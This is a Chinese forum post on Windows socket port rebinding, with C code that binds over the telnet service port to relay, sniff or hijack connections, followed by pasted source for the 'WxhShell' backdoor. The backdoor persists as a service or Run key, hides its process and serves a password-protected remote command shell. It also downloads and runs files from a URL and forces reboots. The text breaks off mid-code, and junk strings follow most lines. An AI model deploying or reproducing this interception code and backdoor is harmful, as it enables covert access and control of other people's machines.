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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S)lkz'tdk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %4ePc-  
gMY1ts}Z  
  saddr.sin_family = AF_INET; Lilr0|U+  
l%[EXZ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); M*!agh  
lU @]@_<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xp >7iX!:  
u&`XB|~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I2TaT(e\  
d_CKP"TA  
  这意味着什么?意味着可以进行如下的攻击: 0>C T=(A  
0C1pt5K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o4j[p3$  
cimp/n"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) O?)3VT*  
*194{ ep  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4^TG>j?M  
>Nvjl~o5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6""G,"B  
:QpuO1Gu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^?U!pq -`  
q ]M+/sl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i'4B3  
J!0DR4=Xi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !6BW@GeF]  
^=T$&gD  
  #include g,}_G3[j0m  
  #include ^oVs+vC  
  #include ;-9=RI0  
  #include    $eD.W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F5?m6`g?  
  int main() 'd.EC#  
  { vtw6FX_B  
  WORD wVersionRequested; =G]1LTI  
  DWORD ret; aEM%R<e  
  WSADATA wsaData; s}j{#xT  
  BOOL val; A9f)tqbc  
  SOCKADDR_IN saddr; 21 O'M  
  SOCKADDR_IN scaddr; .P;*Dws  
  int err; .uuO>:  
  SOCKET s; /s?r`'j[  
  SOCKET sc; uv=.2U46  
  int caddsize; } E0,z  
  HANDLE mt; iTFdN}U  
  DWORD tid;   )0ea+ ib  
  wVersionRequested = MAKEWORD( 2, 2 ); ;gBRCZ  
  err = WSAStartup( wVersionRequested, &wsaData ); 0*rQ3Z  
  if ( err != 0 ) { .$Ik`[+Z  
  printf("error!WSAStartup failed!\n"); (&}i`}v_  
  return -1; \]&#%6|V  
  } qDv93  
  saddr.sin_family = AF_INET; )>.&N[v  
   sArhZ[H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3 DDML,  
vI2^tX 9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j/>$,   
  saddr.sin_port = htons(23); $>GgB`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p;._HJ(  
  { |(pRaiJ  
  printf("error!socket failed!\n"); %<E$,w>  
  return -1; e<=cdze  
  } [onGNq?#  
  val = TRUE; v5By:z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zhpx"{_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *RXbc~ H  
  { L!rw[x  
  printf("error!setsockopt failed!\n"); vY%d   
  return -1; 9{-EJ)  
  } {7$c8i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WKT4D}{1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `wus\&!W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MOsl_^c  
[21 =5S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3|1i lP  
  { FO!]P   
  ret=GetLastError(); jqv-D  
  printf("error!bind failed!\n"); Tsgk/e9K2?  
  return -1; b /@#}Gc  
  } 0(mkeIzJt/  
  listen(s,2); 7bk%mQk  
  while(1) y9_K, g  
  { A3|Dz&@:  
  caddsize = sizeof(scaddr); D$bIo "  
  //接受连接请求 F_;vO%}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %%NlTE8*  
  if(sc!=INVALID_SOCKET) -sw  .  
  { \<y`!"c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fe]B&n  
  if(mt==NULL) x*?x=^I{  
  { Rn{iaM2Y<  
  printf("Thread Creat Failed!\n"); : y5<go8e  
  break; kBYNf =  
  } Hj:r[/  
  } oN{Z+T :  
  CloseHandle(mt); O) WCW<p  
  } XLAN Np%E  
  closesocket(s); FP;Ccl"s  
  WSACleanup(); s0DGC  
  return 0; .Jt[(;  
  }   $/.zm; D  
  DWORD WINAPI ClientThread(LPVOID lpParam) lD"(MQV@0  
  { uM_#  
  SOCKET ss = (SOCKET)lpParam; iTag+G4*  
  SOCKET sc; "kMguK}c  
  unsigned char buf[4096]; wm)#[x #  
  SOCKADDR_IN saddr; v=_6XF  
  long num; *Txl+zTY  
  DWORD val; !eEHmRgg4  
  DWORD ret; |`lzfe  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3=Cc.a/3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ix(=3 /Dgz  
  saddr.sin_family = AF_INET; HuwU0:*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2_zp:v  
  saddr.sin_port = htons(23); }RHn)}+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JcbwDlUb  
  { -TM 0]{  
  printf("error!socket failed!\n"); Eo#u#IY  
  return -1; Q(<)KZIK  
  } VJdIHsI  
  val = 100; ZCB_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o(:[r@Z0z  
  { t?9v^vFR  
  ret = GetLastError(); Q\cjPc0y  
  return -1; ~.UrL(l=  
  } E-I-0h2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0%m)@ukb  
  { $% 1vW=d  
  ret = GetLastError(); D9FJ 1~  
  return -1; vgUb{D  
  } zipS ]YD  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =dII- L=`  
  { )yTm.F  
  printf("error!socket connect failed!\n"); r6&5 4f  
  closesocket(sc); ,Fi>p0bz  
  closesocket(ss); HYD"#m'TkB  
  return -1; o(S{VGi,  
  } hO';{Nl/$  
  while(1) 9(6I<]#  
  { hir4ZO%Zt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \T <$9aNb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2I&o69x?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >y[oP!-|P  
  num = recv(ss,buf,4096,0);  ^}:#  
  if(num>0) 3'^k$;^  
  send(sc,buf,num,0); .h9l7 nZt  
  else if(num==0) ")V130<  
  break; b|+wc6   
  num = recv(sc,buf,4096,0); 2Z3('?\z~  
  if(num>0) Y]L9Y9  
  send(ss,buf,num,0); iVG-_RsKK  
  else if(num==0) ^my].Qpt  
  break; P#fM:z@[  
  } qUxRM_7U  
  closesocket(ss); | fSe>uVZ  
  closesocket(sc); U7I qST  
  return 0 ; x\J#]d.  
  } k'#(1(xj  
;gs ^%z  
E;1Jh(58)b  
========================================================== I_xX Dr  
2n `S5(V  
下边附上一个代码,,WXhSHELL ;$a@J&  
mZx&Xez_G  
========================================================== cZT({uYGL  
RTv qls  
#include "stdafx.h" lWqrU1Sjl  
# g_Bx  
#include <stdio.h> #/I[Jqf  
#include <string.h> ]|sAK%/  
#include <windows.h>  nv0]05.4  
#include <winsock2.h> NMww>80  
#include <winsvc.h> vP !{",>  
#include <urlmon.h> K^ B%/T]d  
J,zO2572u  
#pragma comment (lib, "Ws2_32.lib") Q",0F{'  
#pragma comment (lib, "urlmon.lib") v76D3'8  
e0J6Ae4V[  
#define MAX_USER   100 // 最大客户端连接数 z,VD=Hnz  
#define BUF_SOCK   200 // sock buffer jK' N((Hz  
#define KEY_BUFF   255 // 输入 buffer Ma+$g1$  
bks/ `rIA  
#define REBOOT     0   // 重启 ed:@C?  
#define SHUTDOWN   1   // 关机 Z7RiPSdxp  
' 4E R00  
#define DEF_PORT   5000 // 监听端口 ET[k pL  
TOoQZTI  
#define REG_LEN     16   // 注册表键长度 SF5@Vg  
#define SVC_LEN     80   // NT服务名长度 i:Zm*+Gi  
hs?sGr  
// 从dll定义API +e-G,%>9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jiYmb8Q4D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZKXo-~=>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !>>f(t4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1&P<  
`\m*+Bk[5  
// wxhshell配置信息 :OW ;?{ ~j  
struct WSCFG { kWNV%RlSx  
  int ws_port;         // 监听端口 &[At`Nw71  
  char ws_passstr[REG_LEN]; // 口令 E=cwq"  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;s~X  
  char ws_regname[REG_LEN]; // 注册表键名  :<Fe  
  char ws_svcname[REG_LEN]; // 服务名 =L C:SFzF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1y lk4@`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M4d47<'*~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {U84 _Pi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &R$CZU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @fa@s-wb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4T?h  
STglw-TC\  
}; 3LfC{ER  
HmZ{L +"  
// default Wxhshell configuration uio@r^Xz  
struct WSCFG wscfg={DEF_PORT, KL ?@@7  
    "xuhuanlingzhe", @]![o %  
    1, bcAvM;  
    "Wxhshell", \'M3|w`f  
    "Wxhshell", ]r-C1bKD`  
            "WxhShell Service", 11,!XD*"  
    "Wrsky Windows CmdShell Service", efD)S92  
    "Please Input Your Password: ", Nx-uQ^e*1  
  1, 5l,ZoB8  
  "http://www.wrsky.com/wxhshell.exe", sF7^qrVQP9  
  "Wxhshell.exe" ]q6;#EUr?  
    }; [|lB5gi4t!  
]IL;`>Gp  
// 消息定义模块 7^M9qTEHp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /l{ &iLz[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +z9gbcx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7#~+@'Oe  
char *msg_ws_ext="\n\rExit."; l9Q(xuhv  
char *msg_ws_end="\n\rQuit."; j+^oz'q  
char *msg_ws_boot="\n\rReboot..."; 1-Po Z[p-R  
char *msg_ws_poff="\n\rShutdown..."; $ -c!W!H  
char *msg_ws_down="\n\rSave to "; *A~ G_0B  
;3 F"TH  
char *msg_ws_err="\n\rErr!"; <HRBMSR+  
char *msg_ws_ok="\n\rOK!"; FVKW9"AyW  
8&Myva  
char ExeFile[MAX_PATH]; -kS~xVS|  
int nUser = 0; 9m-)Xdoy  
HANDLE handles[MAX_USER]; w ~ dk#=  
int OsIsNt; .)+h H y  
6&!&\  
SERVICE_STATUS       serviceStatus; &*s0\ 8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !bC+TYsU  
(o J9k[(  
// 函数声明  `juLQH  
int Install(void); ZbT/$\0(6  
int Uninstall(void); KE1ao9H8wR  
int DownloadFile(char *sURL, SOCKET wsh); zh $}~RG[  
int Boot(int flag); l?iSxqdT  
void HideProc(void); oxj3[</'k  
int GetOsVer(void); a"av#Y  
int Wxhshell(SOCKET wsl); i_kE^SSgm  
void TalkWithClient(void *cs); 0I{gJSK.,  
int CmdShell(SOCKET sock); xP=/N!,#  
int StartFromService(void); lKkN_ (/j  
int StartWxhshell(LPSTR lpCmdLine); S2>c#BQ  
s!9dQ.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |8bq>01~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fgj^bcp-  
'<R>E:5  
// 数据结构和表定义 {} Bf   
SERVICE_TABLE_ENTRY DispatchTable[] = uHIiH@ S  
{ KIeT!kmDl  
{wscfg.ws_svcname, NTServiceMain}, 5*\\J&H  
{NULL, NULL} b7/AnSR~Jt  
}; A!vCb 8(TX  
+p8BGNW,  
// 自我安装 P"lBB8\eku  
int Install(void) ;Efcw[<  
{ F3oQ^;xB  
  char svExeFile[MAX_PATH]; +f0~D(d!_  
  HKEY key; +x]9+D&  
  strcpy(svExeFile,ExeFile); azP+GM=i7  
>2 3-  
// 如果是win9x系统,修改注册表设为自启动 /j"sS2$U  
if(!OsIsNt) { ^>?CMcN4*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AkU<g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?%O3Oi Xz  
  RegCloseKey(key); j$da8] !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QR">.k4QJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y{9~&r  
  RegCloseKey(key); [0OJdY4  
  return 0; 6r"u$i` o  
    } nJ?^?M'F%  
  } &t(0E:^TRU  
} |BZDhd9<{  
else { WS2os Bc  
^Cv^yTj;&  
// 如果是NT以上系统,安装为系统服务 ]l~V&#i_c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sb".]>^  
if (schSCManager!=0) `d2,*KR  
{ ki;UY~  
  SC_HANDLE schService = CreateService dP]1tAO,y  
  ( ,&HR(jTo  
  schSCManager, OOBhbpg!D  
  wscfg.ws_svcname, zu2HH<E  
  wscfg.ws_svcdisp, >%Ee#m  
  SERVICE_ALL_ACCESS, >\<*4J$PZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]v G{kAnH  
  SERVICE_AUTO_START, CnN9!~]"  
  SERVICE_ERROR_NORMAL, qP!P +'B  
  svExeFile, 8_H=^a>2  
  NULL, _)$PKOzbb  
  NULL, ?hYqcT[%  
  NULL, !}M,  
  NULL, 2}vg U$a  
  NULL #(LfYw.P1V  
  ); O;[9_[  
  if (schService!=0) "tS'b+SJ-S  
  { ZiFooA  
  CloseServiceHandle(schService); JM.XH7k  
  CloseServiceHandle(schSCManager); #kkY@k$4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RE3Z%;'  
  strcat(svExeFile,wscfg.ws_svcname); XH7xT@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BsZ{|,oQnZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;oH ,~|K  
  RegCloseKey(key); 7?"y{R>E  
  return 0; 3}1ssU"T  
    } 1on'^8]0  
  } 4y}"Hy  
  CloseServiceHandle(schSCManager); (/ " &  
} t j Vh^  
} Vy G4(X va  
Z< b"`ty.  
return 1; 4\ /*jA  
} G&eP5'B4i  
qu6DQ@ ~YC  
// 自我卸载 $t rAC@3O@  
int Uninstall(void) r!N]$lB  
{ w-N1.^  
  HKEY key; @LD6:gy  
Lp:6 ;  
if(!OsIsNt) { >n.z)ZJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m:Go-tk  
  RegDeleteValue(key,wscfg.ws_regname); >x:EJV   
  RegCloseKey(key); fvo<(c#Y#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gd@p|PsS^  
  RegDeleteValue(key,wscfg.ws_regname); |`yZIY_  
  RegCloseKey(key); +$z]w(lbT  
  return 0; t@bt6J .{  
  } `BZ&~vJ_  
} |I[7,`C~  
} }UyQ#U  
else { 3mt%!}S  
6\d X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Md; /nJO~{  
if (schSCManager!=0) VU!w!GN]Y  
{ ^ DAa%u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u>T76,8|\  
  if (schService!=0) jkrx]`A{~  
  { {GqXP0'  
  if(DeleteService(schService)!=0) { U Lmg$T&  
  CloseServiceHandle(schService); &;q<M_<  
  CloseServiceHandle(schSCManager); NSLVD[yT  
  return 0; iT )WR90  
  } q(z7~:+qNr  
  CloseServiceHandle(schService); `QP ~  
  } Z&yaSB  
  CloseServiceHandle(schSCManager); ,WTTJN  
} XbvDi+R 2A  
} 17UK1Jx,  
R 4EEelSZu  
return 1; uf)Oy7FQ  
} GaNq2G  
!DjT<dxf  
// 从指定url下载文件 f_r0})  
int DownloadFile(char *sURL, SOCKET wsh) \x\.  
{ uVU`tDzd:  
  HRESULT hr; udqge?Tz  
char seps[]= "/"; aSnp/g  
char *token; CUmH,`hu  
char *file; 89eq[ |G_  
char myURL[MAX_PATH]; '?/&n8J\  
char myFILE[MAX_PATH];  ~Nh&.a  
: 1)}Epo,  
strcpy(myURL,sURL); ' lo.h""  
  token=strtok(myURL,seps); wgd<3 X  
  while(token!=NULL) B1T5f1;uY  
  { w^VSj%XH!  
    file=token; whkJpK(  
  token=strtok(NULL,seps); L=1 ~ f-  
  } $-pbw@7  
b 6W#SpCF  
GetCurrentDirectory(MAX_PATH,myFILE); 4Z%Y"PL(K  
strcat(myFILE, "\\"); X.J  
strcat(myFILE, file); 0o/B{|rv  
  send(wsh,myFILE,strlen(myFILE),0); [QEwK|!L  
send(wsh,"...",3,0); EnCU4CU`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t3F?>G#y  
  if(hr==S_OK) nmE5]Pcg  
return 0; $iJnxqn  
else @!H '+c  
return 1; %O) Z  
af>3V(7  
} #vnT&FN0[  
~Yl$I,  
// 系统电源模块 ;h+q  
int Boot(int flag) :0Te4UE;P7  
{ Ee?;i<u  
  HANDLE hToken; (:}<xxl  
  TOKEN_PRIVILEGES tkp; zHFTCL>"  
Wvr+y!F  
  if(OsIsNt) { Ol cP(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4]BJ0+|mT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  nP_=GI  
    tkp.PrivilegeCount = 1; x0x $  9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kEAhTh&g*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zA{8C];~  
if(flag==REBOOT) { 3q~Fl=|.o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @InJ_9E  
  return 0; KS! iL=i  
} (|0b7 |'T  
else { ER<eX4oU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8tZ} ;="F  
  return 0; 46ChMTt  
} c^-YcGwa  
  } xyV]?~7  
  else { 9.8,q  
if(flag==REBOOT) { DT? m/*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h DtK nF  
  return 0; \!PV*%P  
} Jr?!Mh-  
else { t,Q'S`eTU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A+2oh3  
  return 0; TzY!D *%z  
} ,kE=TR.|  
} Tf l;7w.(A  
7|~:P $M  
return 1; QN #)F  
} q!2<=:f  
;Uk!jQh  
// win9x进程隐藏模块 u%aFb*  
void HideProc(void) M71R -B`-  
{ (HSw%e  
]PVt o\B=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RIo'X@zb  
  if ( hKernel != NULL ) 00qZw?%K  
  { QZ0R:TY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V85.DK!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (,TH~("{  
    FreeLibrary(hKernel); | XLFV  
  } &<{}8/x8(  
SY8U"Qc;9  
return; R9E6uz.j  
} `t9.xB#Z  
b6Xi  
// 获取操作系统版本 nk>8SW^  
int GetOsVer(void) q (1r<2  
{ _=T]PSauI  
  OSVERSIONINFO winfo; <[5#c*A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u2,H ]-  
  GetVersionEx(&winfo); E@]sq A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~bFdJj 1*  
  return 1; =VCQ*  
  else p\ok_*b  
  return 0; eEie?#Z/6  
} %xh?!s|G(  
uf?b%:A  
// 客户端句柄模块 Wa}"SqYr h  
int Wxhshell(SOCKET wsl) :5<#X8>d  
{ .J:;_4x  
  SOCKET wsh; #rq?f  
  struct sockaddr_in client; m|`VJ 0  
  DWORD myID;  I9Om#m  
@|]G0&gn&?  
  while(nUser<MAX_USER) nO}$ 76*'0  
{ *sAOpf@M  
  int nSize=sizeof(client); ytob/tc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'M lXnHxt  
  if(wsh==INVALID_SOCKET) return 1; k?n]ZNlT  
8iOO1I?+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VB's  
if(handles[nUser]==0) y\z*p&I  
  closesocket(wsh); ( w5f(4  
else t@r#b67WJe  
  nUser++; .CvFE~  
  } +|M{I= 8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8LeK wb  
y* rY~U#3  
  return 0; h/{8bC@bi  
} Bf+^O)Ns^  
YjL t&D:IZ  
// 关闭 socket ,.q8Xf  
void CloseIt(SOCKET wsh) [Q=4P*G}X  
{ m"q/,}DR  
closesocket(wsh); }eI`Qg  
nUser--; pbFYiu+  
ExitThread(0); e-jw^   
} " C&x ,Ic  
IF^[^^v+H  
// 客户端请求句柄 xLZMpP5c  
void TalkWithClient(void *cs) @,GjeF]!  
{ .2/,XwIr  
!b'IfDp[-!  
  SOCKET wsh=(SOCKET)cs; ^}tL nF  
  char pwd[SVC_LEN]; 4xpj<  
  char cmd[KEY_BUFF]; h9U+ %=^O  
char chr[1]; H[Cj7{V  
int i,j; 3 ^pYC K%  
=J`gGDhGY-  
  while (nUser < MAX_USER) { s v6INe:  
.dt#2a_5q  
if(wscfg.ws_passstr) { d~3GV(M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u9 %;{:]h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3m3 EXz  
  //ZeroMemory(pwd,KEY_BUFF); MHGjvSx  
      i=0; 2S'AIuIew  
  while(i<SVC_LEN) { ~U/8 @gR  
e7h\(`J0lj  
  // 设置超时 H a90  
  fd_set FdRead; TdNsyr}JG  
  struct timeval TimeOut; W.z$a.<(rF  
  FD_ZERO(&FdRead); fHLFeSfH  
  FD_SET(wsh,&FdRead); aQxe)  
  TimeOut.tv_sec=8; A}gYcc85Z  
  TimeOut.tv_usec=0; 3V"dG1?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q$3HvZP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kGruo5A  
h<GyplG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wXP_]-  
  pwd=chr[0]; x Ridc^  
  if(chr[0]==0xd || chr[0]==0xa) { %;'~%\|dZM  
  pwd=0; B%)zGTp6  
  break; Q Xsfp  
  } +BU0 6lLD  
  i++; B*32D8t`u  
    } j-j'phK  
RFhU#  
  // 如果是非法用户,关闭 socket gYRqqV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MPqY?KF  
} 5s#R`o %Z  
sw[<VsxjR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4$ ..r4@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w4NZt|>5j;  
pb~Ps#"Zg  
while(1) { PkjT&e)  
-6(h@F%E  
  ZeroMemory(cmd,KEY_BUFF); #)Ep(2  
PpW A f\  
      // 自动支持客户端 telnet标准   RA! x  
  j=0; L,f^mX0<  
  while(j<KEY_BUFF) { XSD"/_xD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zUe#Wp[  
  cmd[j]=chr[0]; Tw?Pp8'  
  if(chr[0]==0xa || chr[0]==0xd) { Rd`{qW  
  cmd[j]=0;  =7*oC  
  break; M4R%Gr,La  
  } M0Lon/%  
  j++; b(g_.1[  
    } Ar\IZ_Q  
>+zAWK9  
  // 下载文件 6wa<'!   
  if(strstr(cmd,"http://")) { Bidqf7v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Ntjx(b$"h  
  if(DownloadFile(cmd,wsh)) z?8zFP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J,CJPUf&  
  else /+Wb6{lY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S~]8K8"sT  
  } n P0Ziu'{  
  else { C~3@M<X  
a.5zdoH_  
    switch(cmd[0]) { b>G qNf!  
  >^M!@=/?J  
  // 帮助 mABwM$_  
  case '?': { ?FkQe~FN{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); at_dmU2[7  
    break; JrY"J]/  
  } 9{au leu R  
  // 安装 BiVd ka  
  case 'i': { =e"H1^Ml  
    if(Install()) gEcnn .(S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 /:X& &  
    else mBYS"[S(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JS<e`#c&  
    break; okd  ``vG  
    } < P?3GT/  
  // 卸载 EKeBTb  
  case 'r': { 3C E 39W  
    if(Uninstall()) F] dmc,Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Enq6K1@%G  
    else Gnuo-8lb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u* #-7   
    break; GQEI f$  
    } A>rWGo.{E  
  // 显示 wxhshell 所在路径 EZgxSQaPH  
  case 'p': { Pf^Ly 97  
    char svExeFile[MAX_PATH]; [wXwKr  
    strcpy(svExeFile,"\n\r"); /6Jy'"+'0  
      strcat(svExeFile,ExeFile); 3G:NZ)p  
        send(wsh,svExeFile,strlen(svExeFile),0); ,"v)vTt  
    break; #dxJ#  
    } 2 zmQp  
  // 重启 mR!&.R?  
  case 'b': { Q6s5#7h'"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C[Y%=\6'0  
    if(Boot(REBOOT)) ifgr<QlG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &r 5&6p  
    else { +=,4@I%  
    closesocket(wsh); B.CH9M  
    ExitThread(0); SNopAACf1  
    } v e6N  
    break; wfU&{7yt  
    } "4Wp>B  
  // 关机 A*-]J=:E {  
  case 'd': { P!>{>r4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I8pv:>EhC  
